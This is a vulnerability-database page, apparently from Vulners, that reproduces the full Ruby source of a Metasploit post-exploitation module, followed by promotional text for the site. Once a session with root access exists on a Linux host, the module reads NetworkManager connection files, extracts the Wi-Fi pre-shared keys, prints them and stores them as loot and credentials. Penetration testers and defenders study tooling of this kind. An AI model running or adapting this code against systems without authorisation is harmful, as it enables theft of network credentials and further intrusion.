Lucene search
K

Linux Gather NetworkManager 802-11-Wireless-Security Credentials

🗓️ 29 Aug 2014 08:08:08Reported by Cenk KalpakogluType 
metasploit
 metasploit
🔗 www.rapid7.com👁 37 Views

This module collects 802-11-Wireless-Security credentials such as Access-Point name and Pre-Shared-Key from Linux NetworkManager connection configuration files

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Linux Gather NetworkManager 802-11-Wireless-Security Credentials',
        'Description' => %q{
          This module collects 802-11-Wireless-Security credentials such as
          Access-Point name and Pre-Shared-Key from Linux NetworkManager
          connection configuration files.
        },
        'License' => MSF_LICENSE,
        'Author' => ['Cenk Kalpakoglu'],
        'Platform' => ['linux'],
        'SessionTypes' => ['shell', 'meterpreter'],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => []
        }
      )
    )

    register_options([
      OptString.new('DIR', [true, 'The path for NetworkManager configuration files', '/etc/NetworkManager/system-connections/'])
    ])
  end

  def connections_directory
    datastore['DIR']
  end

  def extract_psk_from_file(path)
    return if path.blank?

    print_status("Reading file #{path}")
    data = read_file(path)

    return if data.blank?

    data.each_line do |l|
      next unless l.starts_with?('psk=')

      psk = l.split('=')[1].strip

      return psk unless psk.blank?
    end

    nil
  end

  def run
    unless is_root?
      fail_with(Failure::NoAccess, 'You must run this module as root!')
    end

    connection_files = dir(connections_directory)

    if connection_files.blank?
      print_status('No network connections found')
      return
    end

    tbl = Rex::Text::Table.new({
      'Header' => '802-11-wireless-security',
      'Columns' => ['AccessPoint-Name', 'PSK'],
      'Indent' => 1
    })

    connection_files.each do |f|
      psk = extract_psk_from_file("#{connections_directory}/#{f}")
      tbl << [f, psk] unless psk.blank?
    end

    if tbl.rows.empty?
      print_status('No wireless PSKs found')
      return
    end

    print_line("\n#{tbl}")

    p = store_loot(
      'linux.psk.creds',
      'text/csv',
      session,
      tbl.to_csv,
      'wireless_credentials.txt'
    )

    print_good("Credentials stored in: #{p}")

    tbl.rows.each do |cred|
      user = cred[0] # AP name
      password = cred[1]
      create_credential(
        workspace_id: myworkspace_id,
        origin_type: :session,
        address: session.session_host,
        session_id: session_db_id,
        post_reference_name: refname,
        username: user,
        private_data: password,
        private_type: :password
      )
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation